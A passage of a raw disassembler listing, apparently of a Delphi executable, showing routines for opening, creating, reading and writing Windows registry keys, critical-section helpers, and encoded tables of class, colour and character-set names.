dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40014190
dword_40014098 dd 0Eh, 10000h ; .text:40014058o
db 2 dup(0)
dd offset off_40001000
dw 10h
db 2 dup(0)
word_400140AA dw 5409h ; DATA XREF: .text:4001406Co
dd 69676552h, 79727473h
; =============== S U B R O U T I N E =======================================
sub_400140B4 proc near ; CODE XREF: sub_400145D4+62p
var_C = dword ptr -0Ch
var_8 = byte ptr -8
push ebx
add esp, 0FFFFFFF8h
mov ebx, eax
mov [esp+0Ch+var_C], ebx
mov [esp+0Ch+var_8], 0Bh
push esp
push 0
mov ecx, off_4001AF7C
mov dl, 1
mov eax, ds:off_40013FEC
call sub_4000B128
call sub_400042E4
pop ecx
pop edx
pop ebx
retn
sub_400140B4 endp
; =============== S U B R O U T I N E =======================================
sub_400140E0 proc near ; CODE XREF: sub_40014250+2Fp
; sub_40014374+2Cp
push ebx
mov ebx, eax
test ebx, ebx
jz short loc_400140F0
cmp byte ptr [ebx], 5Ch
jnz short loc_400140F0
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_400140F0: ; CODE XREF: sub_400140E0+5j
; sub_400140E0+Aj
mov al, 1
pop ebx
retn
sub_400140E0 endp
; =============== S U B R O U T I N E =======================================
sub_400140F4 proc near ; CODE XREF: sub_4001464C+14p
dec al
jz short loc_40014106
dec al
jz short loc_4001410C
dec al
jz short loc_40014112
dec al
jz short loc_40014118
jmp short loc_4001411E
; ---------------------------------------------------------------------------
loc_40014106: ; CODE XREF: sub_400140F4+2j
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4001410C: ; CODE XREF: sub_400140F4+6j
mov eax, 2
retn
; ---------------------------------------------------------------------------
loc_40014112: ; CODE XREF: sub_400140F4+Aj
mov eax, 4
retn
; ---------------------------------------------------------------------------
loc_40014118: ; CODE XREF: sub_400140F4+Ej
mov eax, 3
retn
; ---------------------------------------------------------------------------
loc_4001411E: ; CODE XREF: sub_400140F4+10j
xor eax, eax
retn
sub_400140F4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40014124 proc near ; CODE XREF: sub_4001452C+3Fp
; sub_400146B4+5Ep
cmp eax, 1
jnz short loc_4001412C
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_4001412C: ; CODE XREF: sub_40014124+3j
cmp eax, 2
jnz short loc_40014135
mov al, 2
jmp short locret_40014149
; ---------------------------------------------------------------------------
loc_40014135: ; CODE XREF: sub_40014124+Bj
cmp eax, 4
jnz short loc_4001413E
mov al, 3
jmp short locret_40014149
; ---------------------------------------------------------------------------
loc_4001413E: ; CODE XREF: sub_40014124+14j
cmp eax, 3
jnz short loc_40014147
mov al, 4
jmp short locret_40014149
; ---------------------------------------------------------------------------
loc_40014147: ; CODE XREF: sub_40014124+1Dj
xor eax, eax
locret_40014149: ; CODE XREF: sub_40014124+Fj
; sub_40014124+18j ...
retn
sub_40014124 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4001414C proc near ; CODE XREF: .itext:400194A9p
; .itext:4001950Ap
push ebx
push esi
test dl, dl
jz short loc_4001415A
add esp, 0FFFFFFF0h
call sub_40003F30
loc_4001415A: ; CODE XREF: sub_4001414C+4j
mov ebx, edx
mov esi, eax
mov edx, 80000001h
mov eax, esi
call sub_400141EC
mov dword ptr [esi+18h], 0F003Fh
mov byte ptr [esi+0Ch], 1
mov eax, esi
test bl, bl
jz short loc_4001418A
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_4001418A: ; CODE XREF: sub_4001414C+2Dj
mov eax, esi
pop esi
pop ebx
retn
sub_4001414C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40014190 proc near ; DATA XREF: .text:40014094o
push ebx
push esi
call sub_40003FD8
mov ebx, edx
mov esi, eax
mov eax, esi
call sub_400141BC
mov edx, ebx
and dl, 0FCh
mov eax, esi
call sub_40003CD8
test bl, bl
jle short loc_400141B9
mov eax, esi
call sub_40003F80
loc_400141B9: ; CODE XREF: sub_40014190+20j
pop esi
pop ebx
retn
sub_40014190 endp
; =============== S U B R O U T I N E =======================================
sub_400141BC proc near ; CODE XREF: sub_40014190+Dp
; sub_400141EC+22p ...
push ebx
mov ebx, eax
mov eax, [ebx+4]
test eax, eax
jz short loc_400141E8
cmp byte ptr [ebx+0Ch], 0
jnz short loc_400141D2
push eax
call sub_400064D0 ; RegFlushKey
loc_400141D2: ; CODE XREF: sub_400141BC+Ej
mov eax, [ebx+4]
push eax
call sub_400064C0 ; RegCloseKey
xor eax, eax
mov [ebx+4], eax
lea eax, [ebx+10h]
call sub_40004884
loc_400141E8: ; CODE XREF: sub_400141BC+8j
pop ebx
retn
sub_400141BC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400141EC proc near ; CODE XREF: sub_4001414C+19p
; .itext:400194B7p ...
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, [ebx+8]
cmp esi, eax
jz short loc_40014213
cmp byte ptr [ebx+14h], 0
jz short loc_40014209
push eax
call sub_400064C0 ; RegCloseKey
mov byte ptr [ebx+14h], 0
loc_40014209: ; CODE XREF: sub_400141EC+11j
mov [ebx+8], esi
mov eax, ebx
call sub_400141BC
loc_40014213: ; CODE XREF: sub_400141EC+Bj
pop esi
pop ebx
retn
sub_400141EC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40014218 proc near ; CODE XREF: sub_40014250+EAp
; sub_40014374+AFp ...
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, ebx
call sub_400141BC
mov [ebx+4], esi
lea eax, [ebx+10h]
mov edx, edi
call sub_400048D8
pop edi
pop esi
pop ebx
retn
sub_40014218 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4001423C proc near ; CODE XREF: sub_40014250+74p
; sub_40014250+A8p ...
mov ecx, [eax+4]
test ecx, ecx
jz short loc_40014247
test dl, dl
jnz short loc_4001424B
loc_40014247: ; CODE XREF: sub_4001423C+5j
mov eax, [eax+8]
retn
; ---------------------------------------------------------------------------
loc_4001424B: ; CODE XREF: sub_4001423C+9j
mov eax, ecx
retn
sub_4001423C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40014250 proc near ; CODE XREF: .itext:400194C5p
; .itext:40019526p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
push esi
xor ebx, ebx
mov [ebp+var_4], ebx
mov [ebp+var_5], cl
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push offset loc_40014355
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_4]
mov edx, ebx
call sub_4000491C
mov eax, [ebp+var_4]
call sub_400140E0
mov ebx, eax
test bl, bl
jnz short loc_4001429C
lea eax, [ebp+var_4]
mov ecx, 1
mov edx, 1
call sub_40004DE8
loc_4001429C: ; CODE XREF: sub_40014250+38j
xor eax, eax
mov [ebp+var_C], eax
cmp [ebp+var_5], 0
jz short loc_400142AD
cmp [ebp+var_4], 0
jnz short loc_400142D7
loc_400142AD: ; CODE XREF: sub_40014250+55j
lea eax, [ebp+var_C]
push eax
mov eax, [esi+18h]
push eax
push 0
mov eax, [ebp+var_4]
call sub_40004D48
push eax
mov edx, ebx
mov eax, esi
call sub_4001423C
push eax
call sub_400064D8 ; RegOpenKeyExA
test eax, eax
setz [ebp+var_6]
jmp short loc_40014309
; ---------------------------------------------------------------------------
loc_400142D7: ; CODE XREF: sub_40014250+5Bj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C]
push eax
push 0
mov eax, [esi+18h]
push eax
push 0
push 0
push 0
mov eax, [ebp+var_4]
call sub_40004D48
push eax
mov edx, ebx
mov eax, esi
call sub_4001423C
push eax
call sub_400064C8 ; RegCreateKeyExA
test eax, eax
setz [ebp+var_6]
loc_40014309: ; CODE XREF: sub_40014250+85j
cmp [ebp+var_6], 0
jz short loc_4001433F
cmp dword ptr [esi+4], 0
setnz al
test bl, al
jz short loc_40014332
push dword ptr [esi+10h]
push offset dword_40014370
push [ebp+var_4]
lea eax, [ebp+var_4]
mov edx, 3
call sub_40004C08
loc_40014332: ; CODE XREF: sub_40014250+C8j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_C]
mov eax, esi
call sub_40014218
loc_4001433F: ; CODE XREF: sub_40014250+BDj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4001435C
loc_4001434C: ; CODE XREF: sub_40014250+10Aj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40014355: ; DATA XREF: sub_40014250+17o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001434C
; ---------------------------------------------------------------------------
loc_4001435C: ; CODE XREF: sub_40014250+104j
; DATA XREF: sub_40014250+F7o
movzx eax, [ebp+var_6]
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40014250 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 1
dword_40014370 dd 5Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40014374 proc near
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
push ebx
push esi
xor ecx, ecx
mov [ebp+var_4], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push offset loc_4001450E
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_4]
mov edx, ebx
call sub_4000491C
mov eax, [ebp+var_4]
call sub_400140E0
mov ebx, eax
test bl, bl
jnz short loc_400143BD
lea eax, [ebp+var_4]
mov ecx, 1
mov edx, 1
call sub_40004DE8
loc_400143BD: ; CODE XREF: sub_40014374+35j
xor eax, eax
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
push 20019h
push 0
mov eax, [ebp+var_4]
call sub_40004D48
push eax
mov edx, ebx
mov eax, esi
call sub_4001423C
push eax
call sub_400064D8 ; RegOpenKeyExA
test eax, eax
setz [ebp+var_5]
cmp [ebp+var_5], 0
jz short loc_4001442D
mov dword ptr [esi+18h], 20019h
cmp dword ptr [esi+4], 0
setnz al
test bl, al
jz short loc_4001441B
push dword ptr [esi+10h]
push offset dword_40014528
push [ebp+var_4]
lea eax, [ebp+var_4]
mov edx, 3
call sub_40004C08
loc_4001441B: ; CODE XREF: sub_40014374+8Dj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_C]
mov eax, esi
call sub_40014218
jmp loc_400144F8
; ---------------------------------------------------------------------------
loc_4001442D: ; CODE XREF: sub_40014374+7Bj
lea eax, [ebp+var_C]
push eax
push 20009h
push 0
mov eax, [ebp+var_4]
call sub_40004D48
push eax
mov edx, ebx
mov eax, esi
call sub_4001423C
push eax
call sub_400064D8 ; RegOpenKeyExA
test eax, eax
setz [ebp+var_5]
cmp [ebp+var_5], 0
jz short loc_40014495
mov dword ptr [esi+18h], 20009h
cmp dword ptr [esi+4], 0
setnz al
test bl, al
jz short loc_40014486
push dword ptr [esi+10h]
push offset dword_40014528
push [ebp+var_4]
lea eax, [ebp+var_4]
mov edx, 3
call sub_40004C08
loc_40014486: ; CODE XREF: sub_40014374+F8j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_C]
mov eax, esi
call sub_40014218
jmp short loc_400144F8
; ---------------------------------------------------------------------------
loc_40014495: ; CODE XREF: sub_40014374+E6j
lea eax, [ebp+var_C]
push eax
push 1
push 0
mov eax, [ebp+var_4]
call sub_40004D48
push eax
mov edx, ebx
mov eax, esi
call sub_4001423C
push eax
call sub_400064D8 ; RegOpenKeyExA
test eax, eax
setz [ebp+var_5]
cmp [ebp+var_5], 0
jz short loc_400144F8
mov dword ptr [esi+18h], 1
cmp dword ptr [esi+4], 0
setnz al
test bl, al
jz short loc_400144EB
push dword ptr [esi+10h]
push offset dword_40014528
push [ebp+var_4]
lea eax, [ebp+var_4]
mov edx, 3
call sub_40004C08
loc_400144EB: ; CODE XREF: sub_40014374+15Dj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_C]
mov eax, esi
call sub_40014218
loc_400144F8: ; CODE XREF: sub_40014374+B4j
; sub_40014374+11Fj ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40014515
loc_40014505: ; CODE XREF: sub_40014374+19Fj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4001450E: ; DATA XREF: sub_40014374+14o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40014505
; ---------------------------------------------------------------------------
loc_40014515: ; CODE XREF: sub_40014374+199j
; DATA XREF: sub_40014374+18Co
movzx eax, [ebp+var_5]
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40014374 endp
; ---------------------------------------------------------------------------
align 10h
dd 0FFFFFFFFh, 1
dword_40014528 dd 5Ch ; sub_40014374+FDo ...
; =============== S U B R O U T I N E =======================================
sub_4001452C proc near ; CODE XREF: sub_4001457C+Fp
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
push ecx
mov ebp, ecx
mov edi, edx
mov esi, eax
mov eax, ebp
xor ecx, ecx
mov edx, 8
call sub_40003580
lea eax, [ebp+4]
push eax
push 0
lea eax, [esp+1Ch+var_14]
push eax
push 0
mov eax, edi
call sub_40004D48
push eax
mov eax, [esi+4]
push eax
call sub_400064E0 ; RegQueryValueExA
test eax, eax
setz bl
mov eax, [esp+14h+var_14]
call sub_40014124
mov [ebp+0], al
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4001452C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4001457C proc near ; CODE XREF: sub_400145D4+Fp
var_C = dword ptr -0Ch
push ebx
push esi
add esp, 0FFFFFFF8h
mov esi, edx
mov ebx, eax
mov ecx, esp
mov edx, esi
mov eax, ebx
call sub_4001452C
test al, al
jz short loc_4001459A
mov eax, [esp+10h+var_C]
jmp short loc_4001459D
; ---------------------------------------------------------------------------
loc_4001459A: ; CODE XREF: sub_4001457C+16j
or eax, 0FFFFFFFFh
loc_4001459D: ; CODE XREF: sub_4001457C+1Cj
pop ecx
pop edx
pop esi
pop ebx
retn
sub_4001457C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400145A4 proc near ; CODE XREF: .itext:400194F7p
; .itext:40019558p
push ebx
push esi
push edi
push ebp
mov edi, ecx
mov ebp, edx
mov esi, eax
mov ebx, edi
test ebx, ebx
jz short loc_400145B9
sub ebx, 4
mov ebx, [ebx]
loc_400145B9: ; CODE XREF: sub_400145A4+Ej
inc ebx
push ebx
push 1
mov eax, edi
call sub_40004D48
mov ecx, eax
mov edx, ebp
mov eax, esi
call sub_4001464C
pop ebp
pop edi
pop esi
pop ebx
retn
sub_400145A4 endp
; =============== S U B R O U T I N E =======================================
sub_400145D4 proc near
var_14 = byte ptr -14h
push ebx
push esi
push edi
push ebp
push ecx
mov edi, ecx
mov ebp, edx
mov esi, eax
mov edx, ebp
mov eax, esi
call sub_4001457C
mov ebx, eax
test ebx, ebx
jle short loc_4001463D
mov eax, edi
mov ecx, ebx
xor edx, edx
call sub_40004974
push ebx
lea eax, [esp+18h+var_14]
push eax
mov eax, [edi]
call sub_40004D48
mov ecx, eax
mov edx, ebp
mov eax, esi
call sub_400146B4
cmp [esp+14h+var_14], 1
jz short loc_4001461D
cmp [esp+14h+var_14], 2
jnz short loc_40014634
loc_4001461D: ; CODE XREF: sub_400145D4+41j
mov eax, [edi]
call sub_40004D48
call sub_4000815C
mov edx, eax
mov eax, edi
call sub_40004F74
jmp short loc_40014644
; ---------------------------------------------------------------------------
loc_40014634: ; CODE XREF: sub_400145D4+47j
mov eax, ebp
call sub_400140B4
jmp short loc_40014644
; ---------------------------------------------------------------------------
loc_4001463D: ; CODE XREF: sub_400145D4+18j
mov eax, edi
call sub_40004884
loc_40014644: ; CODE XREF: sub_400145D4+5Ej
; sub_400145D4+67j
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_400145D4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4001464C proc near ; CODE XREF: sub_400145A4+26p
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov [ebp+var_4], ecx
mov edi, edx
mov ebx, eax
movzx eax, [ebp+arg_0]
call sub_400140F4
mov esi, eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+var_4]
push eax
push esi
push 0
mov eax, edi
call sub_40004D48
push eax
mov eax, [ebx+4]
push eax
call sub_400064E8 ; RegSetValueExA
test eax, eax
jz short loc_400146AB
mov [ebp+var_C], edi
mov [ebp+var_8], 0Bh
lea eax, [ebp+var_C]
push eax
push 0
mov ecx, off_4001AFCC
mov dl, 1
mov eax, ds:off_40013FEC
call sub_4000B128
call sub_400042E4
loc_400146AB: ; CODE XREF: sub_4001464C+39j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_4001464C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400146B4 proc near ; CODE XREF: sub_400145D4+38p
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov [ebp+var_4], eax
lea eax, [ebp+arg_4]
push eax
push edi
lea eax, [ebp+var_4]
push eax
push 0
mov eax, esi
call sub_40004D48
push eax
mov eax, [ebx+4]
push eax
call sub_400064E0 ; RegQueryValueExA
test eax, eax
jz short loc_4001470C
mov [ebp+var_C], esi
mov [ebp+var_8], 0Bh
lea eax, [ebp+var_C]
push eax
push 0
mov ecx, off_4001B0D4
mov dl, 1
mov eax, ds:off_40013FEC
call sub_4000B128
call sub_400042E4
loc_4001470C: ; CODE XREF: sub_400146B4+32j
mov ebx, [ebp+arg_4]
mov eax, [ebp+var_4]
call sub_40014124
mov edx, [ebp+arg_0]
mov [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_400146B4 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 1
dword_40014730 dd 30h, 0FFFFFFFFh, 1, 31h ; .data:4001AAA4o
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40014740 proc near ; DATA XREF: .text:400183A8o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_4001477C
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4001F300
jnz short loc_4001476E
mov eax, offset off_4001AAA0
mov ecx, 2
mov edx, ds:off_40001000
call sub_40005314
loc_4001476E: ; CODE XREF: sub_40014740+17j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40014783
loc_4001477B: ; CODE XREF: sub_40014740+41j
retn
; ---------------------------------------------------------------------------
loc_4001477C: ; DATA XREF: sub_40014740+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001477B
; ---------------------------------------------------------------------------
loc_40014783: ; CODE XREF: sub_40014740:loc_4001477Bj
; DATA XREF: sub_40014740+36o
pop ebp
retn
sub_40014740 endp
; ---------------------------------------------------------------------------
align 4
off_40014788 dd offset dword_4001478C ; DATA XREF: .itext:40019378r
dword_4001478C dd 43540601h, 726F6C6Fh, 4, 0FFFFFF80h, 408D7Fh
; DATA XREF: .text:off_40014788o
off_400147A0 dd offset dword_400147A4 ; DATA XREF: .itext:4001938Cr
dword_400147A4 dd 46540C01h, 43746E6Fh, 73726168h, 17465h, 0FF000000h
; DATA XREF: .text:off_400147A0o
dd 90000000h
off_400147BC dd offset dword_40014808 ; DATA XREF: .text:4001484Co
; .itext:40019303o ...
dd 6 dup(0)
dd offset dword_40014808
dd offset dword_40014810
dd 24h
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_400148CC
dword_40014808 dd 0FFFF0001h ; .text:400147D8o
dd offset nullsub_7
dword_40014810 dd 65525410h, 72756F73h, 614D6563h, 6567616Eh, 408D72h
; DATA XREF: .text:400147DCo
off_40014824 dd offset dword_40014870 ; DATA XREF: .itext:4001932Do
dd 6 dup(0)
dd offset dword_40014870
dd offset dword_40014878
dd 24h
dd offset off_400147BC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_400148CC
dword_40014870 dd 0FFFF0001h ; .text:40014840o
dd offset loc_4001490C
dword_40014878 dd 72425415h, 52687375h, 756F7365h, 4D656372h, 67616E61h
; DATA XREF: .text:40014844o
dd 0C08B7265h, 0D2845653h, 0C4830874h, 0F692E8F0h, 0DA8BFFFEh
dd 8966F08Bh, 468D204Eh, 31E85008h, 8BFFFF1Dh, 74DB84C6h
dd 0F6CEE80Fh, 8F64FFFEh, 5, 0CC48300h, 5B5EC68Bh, 408DC3h
; =============== S U B R O U T I N E =======================================
sub_400148CC proc near ; DATA XREF: .text:40014804o
; .text:4001486Co
push ebx
push esi
call sub_40003FD8
mov ebx, edx
mov esi, eax
lea eax, [esi+8]
push eax
call sub_40006518 ; RtlDeleteCriticalSection
test bl, bl
jle short loc_400148EB
mov eax, esi
call sub_40003F80
loc_400148EB: ; CODE XREF: sub_400148CC+16j
pop esi
pop ebx
retn
sub_400148CC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400148F0 proc near ; CODE XREF: sub_40014F8C+3Fp
; sub_400151D0+1Ap ...
add eax, 8
push eax
call sub_40006520 ; RtlEnterCriticalSection
retn
sub_400148F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400148FC proc near ; CODE XREF: sub_40014F8C+1EEp
; sub_400151D0+80p ...
add eax, 8
push eax
call sub_400065E8 ; RtlLeaveCriticalSection
retn
sub_400148FC endp
; ---------------------------------------------------------------------------
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
align 4
loc_4001490C: ; DATA XREF: .text:40014874o
cmp byte ptr [edx+1Dh], 0
jz short locret_4001491A
lea eax, [edx+18h]
call sub_4000C970
locret_4001491A: ; CODE XREF: .text:40014910j
retn
; ---------------------------------------------------------------------------
align 4
dword_4001491C dd 0FFFFFFFFh, 7, 6C426C63h, 6B6361h, 0FFFFFFFFh, 8, 614D6C63h
; DATA XREF: .data:4001AADCo
dd 6E6F6F72h, 0
dword_40014940 dd 0FFFFFFFFh, 7, 72476C63h, 6E6565h, 0FFFFFFFFh, 7, 6C4F6C63h
; DATA XREF: .data:4001AAECo
dd 657669h, 0FFFFFFFFh, 6, 614E6C63h, 7976h, 0FFFFFFFFh
dd 8, 75506C63h, 656C7072h, 0
dword_40014984 dd 0FFFFFFFFh, 6, 65546C63h, 6C61h, 0FFFFFFFFh, 6, 72476C63h
; DATA XREF: .data:4001AB0Co
dd 7961h, 0FFFFFFFFh, 8, 69536C63h, 7265766Ch, 0
dword_400149B8 dd 0FFFFFFFFh, 5, 65526C63h, 64h, 0FFFFFFFFh, 6, 694C6C63h
; DATA XREF: .data:4001AB24o
dd 656Dh, 0FFFFFFFFh, 8, 65596C63h, 776F6C6Ch, 0
dword_400149EC dd 0FFFFFFFFh, 6, 6C426C63h, 6575h, 0FFFFFFFFh, 9, 75466C63h
; DATA XREF: .data:4001AB3Co
dd 69736863h, 61h, 0FFFFFFFFh, 6, 71416C63h, 6175h, 0FFFFFFFFh
dd 7, 68576C63h, 657469h, 0FFFFFFFFh, 0Ch, 6F4D6C63h, 4779656Eh
dd 6E656572h, 0
dword_40014A48 dd 0FFFFFFFFh, 9, 6B536C63h, 756C4279h, 65h, 0FFFFFFFFh
; DATA XREF: .data:4001AB64o
dd 7, 72436C63h, 6D6165h, 0FFFFFFFFh, 9, 654D6C63h, 61724764h
dd 79h, 0FFFFFFFFh, 0Eh, 63416C63h, 65766974h, 64726F42h
dd 7265h, 0FFFFFFFFh, 0Fh, 63416C63h, 65766974h, 74706143h
dd 6E6F69h, 0FFFFFFFFh, 0Eh, 70416C63h, 726F5770h, 6170536Bh
dd 6563h, 0FFFFFFFFh, 0Ch, 61426C63h, 72676B63h, 646E756Fh
dd 0
dword_40014AE0 dd 0FFFFFFFFh, 9, 74426C63h, 6361466Eh, 65h, 0FFFFFFFFh
; DATA XREF: .data:4001AB9Co
dd 0Eh, 74426C63h, 6769486Eh, 67696C68h, 7468h, 0FFFFFFFFh
dd 0Bh, 74426C63h, 6168536Eh, 776F64h, 0FFFFFFFFh, 9, 74426C63h
dd 7865546Eh, 74h, 0FFFFFFFFh, 0Dh, 61436C63h, 6F697470h
dd 7865546Eh, 74h, 0FFFFFFFFh, 9, 65446C63h, 6C756166h
dd 74h, 0FFFFFFFFh, 17h, 72476C63h, 65696461h, 6341746Eh
dd 65766974h, 74706143h, 6E6F69h, 0FFFFFFFFh, 19h, 72476C63h
dd 65696461h, 6E49746Eh, 69746361h, 61436576h, 6F697470h
dd 6Eh, 0FFFFFFFFh, 0Ah, 72476C63h, 65547961h, 7478h, 0FFFFFFFFh
dd 0Bh, 69486C63h, 696C6867h, 746867h, 0FFFFFFFFh, 0Fh
dd 69486C63h, 696C6867h, 54746867h, 747865h, 0FFFFFFFFh
dd 0Ah, 6F486C63h, 67694C74h, 7468h, 0FFFFFFFFh, 10h, 6E496C63h
dd 69746361h, 6F426576h, 72656472h, 0
dword_40014C14 dd 0FFFFFFFFh, 11h, 6E496C63h, 69746361h, 61436576h, 6F697470h
; DATA XREF: .data:4001AC04o
dd 6Eh, 0FFFFFFFFh, 15h, 6E496C63h, 69746361h, 61436576h
dd 6F697470h, 7865546Eh, 74h, 0FFFFFFFFh, 8, 6E496C63h
dd 6B426F66h, 0
dword_40014C64 dd 0FFFFFFFFh, 0Ah, 6E496C63h, 65546F66h, 7478h, 0FFFFFFFFh
; DATA XREF: .data:4001AC1Co
dd 6, 654D6C63h, 756Eh, 0FFFFFFFFh, 9, 654D6C63h, 6142756Eh
dd 72h, 0FFFFFFFFh, 0Fh, 654D6C63h, 6948756Eh, 696C6867h
dd 746867h, 0FFFFFFFFh, 0Ah, 654D6C63h, 6554756Eh, 7478h
dd 0FFFFFFFFh, 6, 6F4E6C63h, 656Eh, 0FFFFFFFFh, 0Bh, 63536C63h
dd 6C6C6F72h, 726142h, 0FFFFFFFFh, 0Ch, 44336C63h, 68536B44h
dd 776F6461h, 0
dword_40014D04 dd 0FFFFFFFFh, 9, 44336C63h, 6867694Ch, 74h, 0FFFFFFFFh
; DATA XREF: .data:4001AC5Co
dd 8, 69576C63h, 776F646Eh, 0
dword_40014D2C dd 0FFFFFFFFh, 0Dh, 69576C63h, 776F646Eh, 6D617246h, 65h
; DATA XREF: .data:4001AC6Co
dd 0FFFFFFFFh, 0Ch, 69576C63h, 776F646Eh, 74786554h, 0
; =============== S U B R O U T I N E =======================================
sub_40014D5C proc near ; CODE XREF: sub_400151D0+57p
; sub_40015270+9Fp ...
test eax, eax
jge short locret_40014D6B
and eax, 0FFh
push eax
call sub_40006720 ; GetSysColor
locret_40014D6B: ; CODE XREF: sub_40014D5C+2j
retn
sub_40014D5C endp
; =============== S U B R O U T I N E =======================================
sub_40014D6C proc near ; DATA XREF: .itext:4001936Eo
push 33h
mov ecx, offset dword_4001AAD8
call sub_40013658
retn
sub_40014D6C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40014D7C proc near ; DATA XREF: .itext:40019373o
push 33h
mov ecx, offset dword_4001AAD8
call sub_40013618
retn
sub_40014D7C endp
; ---------------------------------------------------------------------------
align 4
dword_40014D8C dd 0FFFFFFFFh, 0Ch, 49534E41h, 4148435Fh, 54455352h, 0
; DATA XREF: .data:4001AC7Co
dword_40014DA4 dd 0FFFFFFFFh, 0Fh, 41464544h, 5F544C55h, 52414843h, 544553h
; DATA XREF: .data:4001AC84o
dd 0FFFFFFFFh, 0Eh, 424D5953h, 435F4C4Fh, 53524148h, 5445h
dd 0FFFFFFFFh, 0Bh, 5F43414Dh, 52414843h, 544553h, 0FFFFFFFFh
dd 10h, 46494853h, 53494A54h, 4148435Fh, 54455352h, 0
dword_40014E04 dd 0FFFFFFFFh, 0Fh, 474E4148h, 5F4C5545h, 52414843h, 544553h
; DATA XREF: .data:4001ACA4o
dd 0FFFFFFFFh, 0Dh, 41484F4Ah, 48435F42h, 45535241h, 54h
dd 0FFFFFFFFh, 0Eh, 33324247h, 435F3231h, 53524148h, 5445h
dd 0FFFFFFFFh, 13h, 4E494843h, 42455345h, 5F354749h, 52414843h
dd 544553h, 0FFFFFFFFh, 0Dh, 45455247h, 48435F4Bh, 45535241h
dd 54h, 0FFFFFFFFh, 0Fh, 4B525554h, 5F485349h, 52414843h
